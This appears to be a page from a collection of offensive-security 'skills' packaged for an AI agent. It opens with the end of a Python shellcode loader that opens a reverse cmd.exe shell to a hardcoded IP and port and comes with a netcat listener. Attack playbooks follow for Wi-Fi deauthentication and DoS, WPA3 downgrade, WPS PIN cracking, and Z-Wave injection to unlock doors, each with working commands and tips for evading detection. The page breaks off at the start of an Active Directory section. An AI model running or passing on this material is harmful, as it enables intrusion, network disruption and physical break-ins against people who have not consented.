" mov [rsp+40], rdx ;"
" inc rdx ;"
" mov rcx, rdx ;"
" inc rcx ;"
" xor r8,r8 ;"
" add r8,6 ;"
" xor r9,r9 ;"
" mov r9w,98*4 ;"
" mov ebx,[r15+r9] ;"
" xor r9,r9 ;"
" call r12 ;" # WSASocketA
" mov r13, rax ;" # R13 = socket handle
" add rsp, 0x208 ;"
# WSAConnect — connect to C2
" mov rax, 0x7463 ;"
" push rax ;"
" mov rax, 0x656e6e6f43415357 ;"
" push rax ;" # 'WSAConnect'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" mov rcx, r13 ;" # socket handle
" sub rsp,0x208 ;"
" xor rax,rax ;"
" inc rax ;"
" inc rax ;"
" mov [rsp], rax ;" # AF_INET = 2
" mov rax, 0xbb01 ;" # Port 443 (big-endian)
" mov [rsp+2], rax ;"
" mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS
" mov [rsp+4], rax ;"
" lea rdx,[rsp] ;"
" mov r8, 0x16 ;" # sizeof(sockaddr_in)
" xor r9,r9 ;"
" push r9 ;"
" push r9 ;"
" push r9 ;"
" sub rsp, 0x88 ;"
" call r12 ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;"
" mov rax, [rax + 0x18] ;"
" mov rsi, [rax + 0x20] ;"
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;"
" mov r8, rbx ;"
" mov rax, 0x41737365636f ;"
" push rax ;"
" mov rax, 0x7250657461657243 ;"
" push rax ;" # 'CreateProcessA'
" mov rdx, rsp ;"
" mov rcx, r8 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
" mov rax, 0x6578652e646d63 ;"
" push rax ;" # 'cmd.exe'
" mov rcx, rsp ;" # lpApplicationName
" push r13 ;" # hStdError = socket
" push r13 ;" # hStdOutput = socket
" push r13 ;" # hStdInput = socket
" xor rax,rax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x100 ;" # STARTF_USESTDHANDLES
" push ax ;"
" xor rax,rax ;"
" push ax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x68 ;"
" push rax ;" # cb = 0x68
" mov rdi,rsp ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
" mov rax, rsp ;"
" sub rax, 0x500 ;"
" push rax ;" # lpProcessInformation
" push rdi ;" # lpStartupInfo
" xor rax, rax ;"
" push rax ;" # lpCurrentDirectory = NULL
" push rax ;" # lpEnvironment = NULL
" push rax ;"
" inc rax ;"
" push rax ;" # bInheritHandles = TRUE
" xor rax, rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;" # dwCreationFlags = 0
" mov r8, rax ;" # lpThreadAttributes = NULL
" mov r9, rax ;" # lpProcessAttributes = NULL
" mov rdx, rcx ;" # lpCommandLine = 'cmd.exe'
" mov rcx, rax ;" # lpApplicationName = NULL
" call r12 ;" # CreateProcessA
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
Note: Update IP (
0x31061fac) and port (0xbb01) before use. Listener:nc -nvlp 443Windows 11 23H2: Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.
Skills/wireless/offensive-deauth-disassoc/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-deauth-disassoc -g -y
SKILL.md
Frontmatter
{
"name": "offensive-deauth-disassoc",
"description": "Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 \/ aireplay-ng tooling, and rate-limit \/ PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture."
}
Deauth / Disassoc Attacks
The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.
Quick Workflow
- Identify target client + AP (BSSID, channel)
- Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
- Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
- Send the deauth burst at the right rate
Single-Client Deauth (Preferred)
Used to force handshake capture, push client to evil twin, or test reconnection behavior.
sudo aireplay-ng --deauth 5 \
-a AA:BB:CC:DD:EE:FF \ # AP BSSID
-c 11:22:33:44:55:66 \ # client MAC
wlan0mon
--deauth 5sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.- More than 30 in a burst is unnecessarily noisy.
Broadcast Deauth (DoS, Use Sparingly)
# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous
# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11
Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.
PMF (802.11w) Awareness
PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
| PMF Status | Deauth Effect |
|---|---|
| Off | Classic deauth works |
| Capable (optional) | Works against clients without PMF, fails against PMF-enabled clients |
| Required | Classic deauth ignored — must use action-frame attacks |
Action-Frame Attacks Against PMF
PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:
# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood
Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.
Beacon Flooding
Confuse clients (and WIPS) by flooding fake beacons:
sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file
Use cases:
- Hide your evil twin among noise
- Stress-test client roaming logic
- DoS WIPS dashboards (flood with thousands of fake APs)
Rate Tuning and Detection
| Burst | Defender Signal |
|---|---|
| 3–10 deauth, single client | Often misclassified as roaming or RF noise |
| >30 deauth/sec from one source | WIPS rule trips |
| Continuous broadcast deauth | Clear DoS — alert + ticket within minutes |
| Beacon flood >50/sec | Saturates WIPS dashboards |
Randomize source MAC across burst-and-pause cycles to spread the signal.
Engagement Cheatsheet
# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon
# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>
# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
Reporting
Document for each test:
- Target BSSID + ESSID + PMF status
- Burst size, duration
- Effect observed (client reconnected? handshake captured? DoS achieved?)
- Detection signals defender would have seen
Key References
- aireplay-ng documentation
- mdk4: github.com/aircrack-ng/mdk4
- IEEE 802.11w-2009 (PMF spec, now folded into 802.11-2020)
- "Why MAC Address Randomization Doesn't Work" — research on action-frame leakage
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-krack-fragattacks/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-krack-fragattacks -g -y
SKILL.md
Frontmatter
{
"name": "offensive-krack-fragattacks",
"description": "KRACK (CVE-2017-13077..082) and FragAttacks (CVE-2020-24586..588 + 26139-26147) — key reinstallation, fragmentation, and aggregation attacks against WPA2 supplicants. Covers Vanhoef's test scripts, viability against modern patched stacks (mostly mitigated post-2021), residual unpatched embedded devices and IoT vendors, and the practical limitations of these attacks in modern engagements. Use when assessing legacy supplicants, embedded clients, or vendors with poor patch cadence."
}
KRACK & FragAttacks
Two attack families against WPA2 client implementations. Both well-disclosed (KRACK 2017, FragAttacks 2021) and largely patched on modern OSes — but the embedded/IoT long tail keeps them in scope for many engagements.
When These Apply
| Family | Target | Patch Status |
|---|---|---|
| KRACK | WPA2 supplicants in 4-way handshake / GTK / FT / TDLS | Major OSes patched 2017–2018 |
| FragAttacks | Frame fragmentation/aggregation across WPA2/3 | Most stacks patched 2021–2022 |
Probability of success today is high only against:
- Embedded OEM devices (cameras, sensors, point-of-sale)
- Old Android phones (<8 unpatched)
- Industrial / SCADA Wi-Fi clients
- Wi-Fi-enabled toys, smart bulbs, no-name IoT
Modern Win11 / iOS 16+ / Android 13+ / hostapd-2.10 are mitigated.
KRACK — Key Reinstallation
The 4-way handshake's M3 retransmission causes the supplicant to reinstall the same PTK with reset nonce/replay counters. Frames encrypted under the reused keystream become decryptable.
# Vanhoef's official test scripts
git clone https://github.com/vanhoefm/krackattacks-scripts
cd krackattacks-scripts/krackattack
sudo ./krack-test-client.py --interface wlan0
# Tests the supplicant on a connected client
Output identifies which CVE variants the client is vulnerable to.
Practical Outcomes
When successful:
- Decryption of WPA2-encrypted frames between client and AP
- TKIP downgrade enables packet injection
- Recovery of session keys for the duration of the affected key cycle
Not a PSK recovery — you don't get the wireless password from KRACK.
FragAttacks — Frame Splicing
FragAttacks abuse 802.11 fragmentation and aggregation to inject frames that mix encrypted and plaintext fragments, or to splice attacker-controlled fragments into legitimate frames.
git clone https://github.com/vanhoefm/fragattacks
cd fragattacks
sudo ./test-fragattacks.py wlan0 --interface wlan0
# Suite of ~12 tests covering each variant
| CVE | Mechanism |
|---|---|
| CVE-2020-24588 | A-MSDU spoofing — inject crafted A-MSDU subframes |
| CVE-2020-24587 | Mixed-key fragment cache poisoning |
| CVE-2020-24586 | Decoupled fragment cache → reuse |
| CVE-2020-26139 | Forwarding plaintext frames before authentication |
| CVE-2020-26140 | Accepting plaintext frames in protected network |
Practical Outcomes
- Inject malicious frames that the client treats as legitimate (HTTP redirect, DNS poison)
- Read decrypted fragments from cached state
- Cross-protect data exfil via crafted A-MSDU
Targeting Workflow
- Identify the in-scope client (MAC, OS, vendor)
- Estimate patch likelihood — if modern OS, likely patched; if embedded, likely vulnerable
- Run the test suite from a controlled AP setup
- Report each vulnerable variant separately with the matching CVE
# Rogue AP that drives the test
sudo hostapd-mana /tmp/krack_test_ap.conf
# Force client to associate (deauth from real AP, or social-engineer)
sudo aireplay-ng --deauth 5 -a <real-BSSID> -c <client-MAC> wlan0mon
# Run test once associated
sudo ./krack-test-client.py --interface wlan0
Detection
- WIPS may flag deauth-driven roams to attacker AP
- Test scripts generate distinctive frame patterns; modern WIPS recognizes Vanhoef's tooling
- Successful exploitation is essentially silent at protocol level
Reporting
For each vulnerable CVE:
- Client model + firmware version (be specific)
- Variant tested + result (vulnerable / patched / partial)
- Practical impact in the engagement context (decryption only, or injection viable?)
- Remediation: vendor patch URL, mitigation (WPA3 + PMF blocks most)
Key References
- KRACK: krackattacks.com (Vanhoef)
- FragAttacks: fragattacks.com (Vanhoef)
- Original papers: USENIX Security 2017 (KRACK), USENIX Security 2021 (FragAttacks)
- CISA advisories tracking embedded vendor patches
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-wpa3-sae/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-wpa3-sae -g -y
SKILL.md
Frontmatter
{
"name": "offensive-wpa3-sae",
"description": "WPA3 \/ SAE (Simultaneous Authentication of Equals) attack methodology — transition-mode (mixed WPA2\/WPA3) downgrade, Dragonblood side-channel attacks (CVE-2019-9494, 9495, 13377, 13456), SAE auth flooding for AP CPU exhaustion, Hash-to-Element (H2E) timing analysis, group downgrade, and 6 GHz \/ Wi-Fi 6E spec implications (PMF mandatory, no transition mode allowed). Use when target advertises WPA3-SAE or WPA3-Personal\/Enterprise, or operates in 6 GHz where WPA3 + PMF are required by spec."
}
WPA3 / SAE Attacks
WPA3 fixes the offline-handshake-cracking weakness of WPA2 by replacing the 4-way PSK exchange with SAE (a Dragonfly-derived password-authenticated key exchange). The straightforward offline crack disappears — but transition-mode misconfigurations and the original SAE implementation's side-channel leaks open new paths.
Quick Workflow
- Verify the target advertises WPA3 (RSN IE shows AKM SAE = 8)
- Check for transition-mode (mixed WPA2 + WPA3) — easiest path
- If pure WPA3, fingerprint the AP's hostapd version for Dragonblood applicability
- Side-channel timing or cache attacks if reachable
- Otherwise, accept that offline cracking isn't viable — pivot to other surfaces
Transition-Mode Downgrade
If the AP advertises both WPA2-PSK and WPA3-SAE (transition mode for mixed-client networks), older clients can be forced onto WPA2:
# Identify transition mode in beacon frames
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption column shows WPA2 WPA3 (both)
Steps:
- Spoof a beacon advertising only RSN-WPA2 with the same BSSID/SSID
- Client roams to your beacon, performs WPA2 4-way handshake
- Capture handshake exactly like
offensive-wpa2-psk
# Use hostapd-mana or airbase-ng for the WPA2-only AP advertisement
airbase-ng -e CorpWiFi -c 6 -W 1 wlan0mon
# -W 1 enables WPA, configure for WPA2-only RSN element
Why this works: WPA3-SAE clients fall back to WPA2-PSK if the AP only advertises WPA2 — there's no protected downgrade defense in transition mode. WPA3-only mode (no transition) blocks this.
Mitigation defenders use: WPA3-only networks (no WPA2). Wi-Fi 6E (6 GHz) mandates WPA3-only by spec.
Dragonblood (CVE-2019-9494 / 9495 / 13377 / 13456)
Side-channel and downgrade attacks against the SAE Hunting-and-Pecking algorithm in pre-2.10 hostapd / wpa_supplicant.
Cache-Based Side-Channel
The original SAE password-element derivation iterates a variable number of times depending on the password and MAC. Cache hits leak the iteration count.
git clone https://github.com/vanhoefm/dragonblood
cd dragonblood
# Cache-based attack (requires co-located malicious code on target host — limited)
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
Timing Side-Channel
The same iteration count leaks via observable timing of the SAE commit phase from outside.
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing
Downgrade to Weak Group
Some implementations accept SAE with the deprecated MODP group 5 if the client requests it. Combined with cache/timing side channels, this enables offline dictionary attack.
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
Patched Versions
| Implementation | Fixed |
|---|---|
| hostapd / wpa_supplicant | 2.10 (April 2022) |
| Apple iOS / macOS | 2019 patches |
| Windows | KB-batched 2019-2020 |
| Embedded routers | Often unpatched — high hit rate on consumer SOHO |
Hash-to-Element (H2E)
WPA3 R2 introduced H2E to replace the iteration-leaky Hunting-and-Pecking. H2E is constant-time. If the AP advertises H2E in the RSNXE element, Dragonblood-class attacks don't apply.
# Wireshark filter
wlan.rsnx.field.h2e
If H2E is present and required (no Hunting-and-Pecking fallback), only the spec is left to attack — abandon SAE attacks and pivot to other surfaces (PMF check, evil-twin via EAP if Enterprise, supply-chain via management frames).
SAE Auth Flooding (DoS)
SAE's commit phase requires the AP to do heavy elliptic-curve work per association attempt. Floods can exhaust CPU on lower-end APs, denying service to legitimate clients.
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Auth attack mode -a, multiple per second -s 1024
This is a DoS — only with explicit authorization. Modern enterprise APs use anti-clogging tokens to throttle SAE-flood attacks; consumer routers often don't.
6 GHz / Wi-Fi 6E Implications
The 6 GHz band (Wi-Fi 6E, channels 1–233 in the 5925–7125 MHz range) requires:
- WPA3-only (no transition mode)
- PMF (802.11w) mandatory (deauth/disassoc protected)
- OWE (Opportunistic Wireless Encryption) for open networks
Net effect: most pre-WPA3 attacks (deauth, transition-mode downgrade) don't apply on 6 GHz. Pure SAE side-channel, evil-twin, or out-of-band attacks remain viable.
Detection Considerations
WPA3 is enterprise-defended much like WPA2 — WIDS catches:
- Beacon spoofing (transition-mode downgrade) via fingerprint mismatch (IE order, vendor-specific, beacon timing)
- SAE flood via association rate per source MAC
- Repeated SAE commit failures (timing attack telemetry)
Successful Dragonblood-class attacks against patched modern hostapd are unlikely. Consumer SOHO and embedded APs are still in scope.
Engagement Cheatsheet
# 1. Identify mode
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption: WPA2 + WPA3 → transition; WPA3-only → SAE-only
# 2. Transition-mode downgrade attempt
sudo airbase-ng -e <ESSID> -c <ch> -W 1 -z 4 wlan0mon # WPA2-RSN advertised only
# 3. Wait for client roam, capture WPA2 handshake (handoff to offensive-wpa2-psk)
# 4. If pure WPA3, fingerprint hostapd
# (passive analysis of beacon IE order + version-specific behaviors)
# 5. Run Dragonblood test scripts if pre-2.10 hostapd suspected
python3 dragondrain.py wlan0mon <BSSID>
python3 dragontime.py --bssid <BSSID> --iface wlan0mon
# 6. Document residual viable attacks; pivot to evil-twin / EAP / RF if pure WPA3 R2
Key References
- Dragonblood: dragonblood.net (Vanhoef + Ronen)
- IEEE 802.11-2020 (combined spec including WPA3)
- WFA WPA3 Specification
- hostapd 2.10 release notes
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-wps/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-wps -g -y
SKILL.md
Frontmatter
{
"name": "offensive-wps",
"description": "WPS (Wi-Fi Protected Setup) PIN attack methodology — Pixie Dust offline attack against vulnerable chipsets (Ralink, Realtek, Broadcom, MediaTek), online PIN brute-force with reaver\/bully, lockout handling, time-of-day evasion, WPS push-button vulnerability windows, and PIN-to-PSK derivation. Use when a target SOHO router exposes WPS — common on consumer ISP gear, often left enabled by default even when WPS attacks have been known for over a decade."
}
WPS PIN Attacks
WPS converts an 8-digit PIN into the network PSK via the M3/M4 message exchange. The PIN is split into 4-digit + 3-digit halves (the 8th digit is a checksum), giving only 11,000 effective combinations — and on vulnerable chipsets, the offline Pixie Dust attack recovers the PIN in seconds without ever sending an online attempt.
Quick Workflow
- Detect WPS-enabled APs (look for the WPS IE in beacons)
- Try Pixie Dust first — offline, undetectable, instantaneous when it works
- If chipset isn't vulnerable, check whether online brute is feasible (lockout policy)
- Online brute as last resort, slow and detectable
Detection
# wash — dedicated WPS scanner
sudo wash -i wlan0mon
# Or use airodump-ng with WPS column
sudo airodump-ng wlan0mon --wps
Output includes: WPS version (1.0 / 2.0), Locked status, Configured/Unconfigured, vendor.
WPS 2.0 introduced lockout enforcement, but many consumer APs still implement it as "lock for 60 seconds after 3 failures" — easily bypassed by waiting.
Pixie Dust (Offline)
The Pixie Dust attack exploits weak nonce generation in WPS-implementing chipsets. The attack captures one full WPS handshake (M1-M4) and then offline-computes the PIN.
# reaver with Pixie Dust mode
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# bully alternative
sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
| Chipset | Vulnerable? |
|---|---|
| Ralink (RT chipsets) | Yes — most older D-Link, TP-Link, Edimax |
| Realtek (RTL8xxx) | Yes — many TRENDnet, Belkin |
| Broadcom (older firmware) | Often yes — specific model + firmware revs |
| MediaTek (specific revs) | Mixed |
| Atheros | Mostly patched |
When successful:
[Pixie-Dust] WPS PIN: 12345670
[Pixie-Dust] WPA PSK: ActualPasswordHere
[Pixie-Dust] AP SSID: HomeWiFi
The PIN gives you the PSK directly via the M7 message — no PSK cracking needed.
Online PIN Brute-Force
When Pixie Dust fails, online brute is the fallback. Send EAPOL-Start → M1 → M2 → M3 attempts with successive PINs.
# reaver online mode (default)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
-L -N -d 15 -t 30 -T .5 -r 3:30 -vv
# Flags:
# -L : ignore failed lockouts
# -N : don't send NACK packets
# -d 15 : 15-second delay between attempts
# -t 30 : timeout
# -T .5 : timeout for receiving M5/M7
# -r 3:30 : pause 30s every 3 attempts
Lockout Handling
Most modern APs lock WPS after a few failed PINs. Detect lockout:
- AP stops responding to EAPOL-Start
- WPS
Lockedflag in beacon switches toYes
Strategies:
- Wait it out: many APs auto-unlock after 60–600 seconds. Set
-raccordingly. - Reboot the AP: physically resets state. Only works if you have authorization for that disruption.
- Spread attempts across time of day: low-traffic windows to avoid coincident legitimate WPS use that triggers admin attention.
Time Estimate
- 11,000 attempts × (delay + timeout) ≈ best case 4 hours, realistic 12–24 hours
- Lockout multiplier: 5–20x depending on policy
- Pixie Dust beats this by minutes when vulnerable. Always try first.
Push-Button (PBC) Method
WPS PBC opens a 120-second window after the user presses the button on the AP. During this window any client requesting WPS is paired without PIN.
Attack viability:
- Practically: requires either physical access to push the button (= you've already won) or social engineering ("the IT guy will press the button at 14:00")
- Some buggy APs have a permanent PBC window — test by sending PBC association
# Trigger PBC pairing attempt
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P
PIN-Default Patterns
Some vendors derive the WPS PIN from MAC + serial. With known algorithms:
# wpscalc / WPSPIN — calculate likely PINs from BSSID
wpspin --bssid AA:BB:CC:DD:EE:FF
# Outputs candidate PINs to try first before brute
Hit rate is high on certain Belkin, ZyXEL, and Linksys models.
Detection Considerations
| Signal | Defender View |
|---|---|
| Reaver/bully traffic pattern | WIPS rule: rapid WPS exchange attempts |
| PIN failures spike | WPS Locked flag flip |
| Vendor PSK leaked offline | Undetectable — Pixie Dust is offline |
| Consumer admin interface | "WPS attempt" might log if AP has audit features (rare) |
Pixie Dust against a vulnerable chipset is essentially undetectable from the wire perspective — only one WPS exchange happens, identical to a legitimate client.
Engagement Cheatsheet
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
# 2. Find WPS APs
sudo wash -i wlan0mon
# 3. Pixie Dust first
sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv
# 4. If Pixie Dust fails, try vendor-specific PIN candidates
wpspin --bssid <BSSID> | head -10
# 5. Online brute as last resort
sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv
# 6. Once PIN known, derive PSK from M7 message
# (reaver does this automatically; bully prints PSK on success)
Key References
- pixiewps: github.com/wiire-a/pixiewps
- reaver: github.com/t6x/reaver-wps-fork-t6x
- bully: github.com/aanarchyy/bully
- WPS 2.0 spec (Wi-Fi Alliance)
- "Pixie Dust Attack" (Bongard, 2014) — original disclosure
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-z-wave/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-z-wave -g -y
SKILL.md
Frontmatter
{
"name": "offensive-z-wave",
"description": "Z-Wave attack methodology — sniffing with Z-Force \/ EZ-Wave \/ RTL-SDR + ZniffMobile, S0 (legacy) network-key derivation flaw and key reuse, S2 (modern) ECDH commissioning analysis, replay\/injection on unauthenticated nodes, default-key brute-force on test deployments, and home-automation hub pivots. Use when targeting Z-Wave smart home devices (door locks, sensors, garage controllers) — common in mid-2010s smart home deployments still in production."
}
Z-Wave Attacks
Z-Wave runs in the 800/900 MHz ISM band (US: 908 MHz, EU: 868 MHz). Older networks used the S0 security scheme with a fixed-derivation network key — long-known to be flawed. S2 (mandatory for Z-Wave Plus v2 since 2017) uses ECDH commissioning and is significantly stronger.
Quick Workflow
- Identify region (US 908 MHz / EU 868 MHz) — adapter frequency must match
- Sniff inclusion (commissioning) traffic — that's where keys are exchanged
- Determine S0 vs S2 from frame format
- For S0: derive/replay; for S2: analyze ECDH and look for implementation flaws
Hardware
| Adapter | Use |
|---|---|
| Z-Force (legacy, hard to find) | Original research tool |
| EZ-Wave (custom HackRF firmware) | Modern, full transceiver |
| Aeotec Z-Stick | Commercial controller, useful as legitimate node |
| HackRF + open Z-Wave firmware | Multi-band SDR approach |
| RTL-SDR + ZniffMobile (passive only) | Cheap sniffer |
Sniffing
# EZ-Wave (HackRF firmware-based)
git clone https://github.com/cureHsu/EZ-Wave
ezwave-sniff -f 908.4MHz -o capture.pcap
# Wireshark with the Z-Wave dissector parses captured frames
wireshark capture.pcap
Look for the inclusion phase (controller adding new device) — that's where the network key is exchanged.
S0 Security Flaw
S0 derives the network key from a fixed all-zero PSK during the inclusion of the first device. That fixed material is well-known — any S0 network you sniff during inclusion can be decrypted offline.
S0 commissioning:
1. New node joins → controller sends key with zero-PSK encryption
2. Attacker sniffs commissioning frame → derives session key
3. All future S0 traffic on that network is decryptable
If you can:
- Trigger inclusion (factory-reset a node, or wait for legitimate inclusion)
- Sniff during the ~2-second key-exchange window
You own the network key for that mesh.
S2 (Z-Wave Plus / S2 Authenticated)
S2 fixes S0 by using ECDH for commissioning:
- Each device has a Curve25519 keypair
- Inclusion uses DSK (Device Specific Key) verified out-of-band (sticker/QR)
- Network key never traverses the air in plaintext
S2 attack surface is mostly implementation:
- Inclusion-mode-always-open (controller misconfig)
- Firmware bugs in S2 verification
- Side-channel on ECDH on resource-constrained chips
- DSK printed on a sticker → physical access yields it
Replay / Injection on Unauthenticated Nodes
Many low-end Z-Wave devices (older sensors, basic switches) don't enforce S0 or S2 — they accept commands in cleartext.
# scapy-zwave (community fork) for crafted frames
from scapy.contrib.zwave import *
frame = ZWave(home_id=0x12345678)/ZWaveBasic(set_value=0xff)
sendp(frame, iface='ezwave0')
This unlocks doors / switches lights / unarms sensors when the target lacks authentication.
Key Brute-Force
For old test deployments using default home IDs / network keys:
# Try default home IDs
for hid in 0x00000000 0x12345678 ...; do
ezwave-test --home-id $hid --target-node 1
done
Hit rate on production is low; useful only for default-config IoT lab gear.
Hub Pivots
Z-Wave devices are typically controlled by a hub (SmartThings, Hubitat, Vera, Home Assistant, Z-Wave JS UI). The hub is a Linux device with the Z-Wave PSK in plaintext storage:
- SmartThings Hub: previously cloud-only credentials; modern v3 stores network key locally
- Home Assistant:
~/.homeassistant/zwave_js.jsontypically contains keys - Hubitat: web UI with default password on older versions
Compromise the hub → walk away with the Z-Wave PSK + every paired device's command authority. See offensive-iot for hub firmware extraction.
Engagement Cheatsheet
# 1. Identify region + frequency
# US: 908.4 MHz; EU: 868.4 MHz; CN: 868.4 MHz
# 2. Sniff
ezwave-sniff -f 908.4MHz -o cap.pcap
wireshark cap.pcap # filter zwave
# 3. Identify S0 vs S2 from frame format
# 4. For S0: capture inclusion → derive key → decrypt history + control devices
# 5. For S2: focus on hub compromise / DSK theft / implementation bugs
# 6. Test unauthenticated cleartext devices with crafted frames
Detection
- Most Z-Wave deployments have no IDS comparable to Wi-Fi/Zigbee monitoring
- Hub may log unexpected commands but UI rarely surfaces these to users
- Inclusion-mode-open is visible in hub UI but ignored by inattentive admins
Reporting
- Identify chipset / firmware revision per device (ZW0500 series, ZW7000 series)
- Map S0 vs S2 per node — note any S0 left on a network with S2-capable nodes
- Document hub compromise paths separately
Key References
- EZ-Wave: github.com/cureHsu/EZ-Wave (HackRF-based)
- "Z-Force and the Z-Wave Sniffer" — original research
- Silicon Labs Z-Wave 700-series spec
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/active-directory/offensive-active-directory/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-active-directory -g -y
SKILL.md
Frontmatter
{
"name": "offensive-active-directory",
"description": "Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR\/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained\/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI\/WinRM\/PsExec), persistence (Golden\/Silver\/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI\/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD\/Entra ID environments, or ADCS deployments."
}
Active Directory — Offensive Testing Methodology
Quick Workflow
- Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
- Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
- Map attack paths to Domain Admin / Enterprise Admin / Tier 0
- Execute path with lowest detection cost, validate at each hop
- Establish persistence and document every action with timestamps
Reconnaissance
BloodHound Collection
# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
# Stealth collection (DC-only, avoids workstation noise)
